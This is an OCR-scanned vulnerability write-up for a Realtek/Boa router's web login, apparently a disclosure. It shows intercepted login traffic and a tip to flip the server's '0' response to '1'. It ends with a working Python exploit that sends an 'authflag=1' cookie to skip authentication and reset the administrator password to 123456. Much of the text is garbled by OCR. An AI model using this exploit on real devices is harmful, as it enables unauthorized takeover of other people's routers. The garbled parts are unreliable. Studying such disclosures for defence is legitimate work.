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function clback() {
if (xmlhttp. readyState == 4) {

var text=xmlhttp. responseText; -

P£(707==text) {  mmmm—
var countfont = “SESEMT. RlEd qanEoa.
var countnext = 2 - loginCount;
var all = countfont + countnext;
document. getElementById(“errorcount™). inmerHTHL = all;
document. getElementById{“error”). style. display = "block™;
if(loginCount»>=2) {

salert();

loginCount={1oginCount+1)%3;
Yelsef
document. cookie="authflag="+text+ -07;

window. location. href=" /home. htm ; //Efﬁ%i)ﬁﬁﬁﬁh%g
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lZJ Request to hitp://192.168.41.0:80

[ Forward J [ Drop J [ Intercept is on | Action
J Raw I Params I Headers | Hex

POST /boafrm/forniwifiloginfuser=adninkpwd=adnin HTTP/1. 1

Host: 192.168. 41.0

Content-Length: 0

Origin: http://192.168. 41.0

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4;, =64) AppleWebEit/537.36 (EHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36
Accept: */*

Referer: http://192. 168, 41. 0/1login. htm

Accept-Language: zh-CN, zh:qg=0.9

Comnection: close
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Response from hitp://192_.168.41.0:80/boafrm/formAwifilogin?user=admin&pwd=admin

{ Forward H Drop

j RHWI Headers I Hex ]

| ' Intercept is on | Action

HITP/1.1 200 0K

Date: Sat, 01 Jun 20158 14:49:54 GMT

Server: Boa/0.94. 14re21

Accept—Ranges: bytes

Connection: close

Pragma: no—cache

Cache—-Control: no-cache

Last-Nodified: Sat, 01 Jun 2019 14:49:54 GMT
Content—Type: text/html

Content-Length: 1

1 &

change 0 to 1

& C O | ® 7% | 192.168.41.0/home.htm
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i Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn - O X
Burp Intruder Repeater Window Help
[ arget | Prowy | spider | scanner | intruder | Repeater | sequencer | Decoder | comparer | Extender | Project options | user options | Alers | coz
1 x x * * x x x (8% [0 % [10 % |11 = [12 = |13 « |44 =
| oo ||ecancel || <|v ]| >]" Target: http:/192.168.41.0 | # || 7
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /hone. htm HITP/1.1 A HITP/1.1 200 OK [a
Host: 102.168.41.0 r Date: Sat, 01 Jun 2018 15:59:57 GMT T
Cache-Control: max-age=0 Server: Boa/0.94.14re21
Upgrade-Insecure-Requests: 1 Accept-Ranges: bytes
User-Agent: Mozilla/5.0 (Windows NI 10.0: Win64: x64) AppleWebKit/537.36 (EHIML. like Comnection: close
Gecko) Chrome/68.0.3440.75 Safari/537. 36 Pragma: no-cache
Accept Cache-Control: mo-cache
text/htnl, application/xhtml+znl, application/xnl: q=0.9, inage/webp, inage/apng. */*:q=0. 8 Content-Length: 1959
2 s Last-Modified: Sat, 01 Jun 2019 15:59:57 GNT
Content-Type: text/html
Comnection: close <htnl>
! Copyright (c) Realtek Semiconductor Corp., 2003. All Rights Reserved. -
<head>
<meta http-equiv="Content-Type” content="text/htnlcharset=utf-8"/>
meta http-equiv=X-Ui-Compatible content="IE=sdge, chrome=1"/>
‘meta http-equiv="Pragma’ content="no-cache’/>
<meta HITP-equiv="Cache-Control” content="no-cache”/>
<meta HITP-BQUIV="Expires’ CONTENT="Mon, 01 Jan 1990 00:00:01 GNI*/>
<itleGIAEBEWIFiFi </ titler
. <script type="text/javascript” > .
b var count = 20%1: hd
? uj m u Type a search term 0 matches ? uj m u Type a search term 0 matches
Done 2217 bytes | 18 millis
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#coding: utf-8

# author_: H4lo
import requests
import sys

payload = "authflag=1"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/68.0.3440.75 Safari/537.36"
headers = {
"User-Agent": UA,
"Cookie": payload

def exp(ip):
info = """1. Login with no password\n2. Change administrator's password\n"""
print info
op = int(raw_input("Enter the options:"))
if op == 1:
url = "http://" + str(ip)+"/home.htm"
try:
res = requests.get(url,headers=headers,timeout=5)
if "title.htm" in res.text:
print "[+] The router is vulnerable"
else:
print "[-] The router is not vulnerable"
except Exception as e:
print str(e)

elif(op == 2):
url = "http://" + str(ip) + "/boafrm/formAwifiSwitchSetup"
data = {
"olduserpass":"1",
"newpass":"123456",
"confirmnewpass":"123456",
"submit-url":"/password.htm"
}
try:
res = requests.post(url=url,headers=headers,data=data,timeout=5)
if "restartNow" in res.text:
print "[+] Password had be changed to 123456"
else:
print "[-] Some error!"
except Exception as e:
print str(e)

else:
print "error options!"
if _name__ =='_ main_"
ip = sys.argv[1]
exp(ip)
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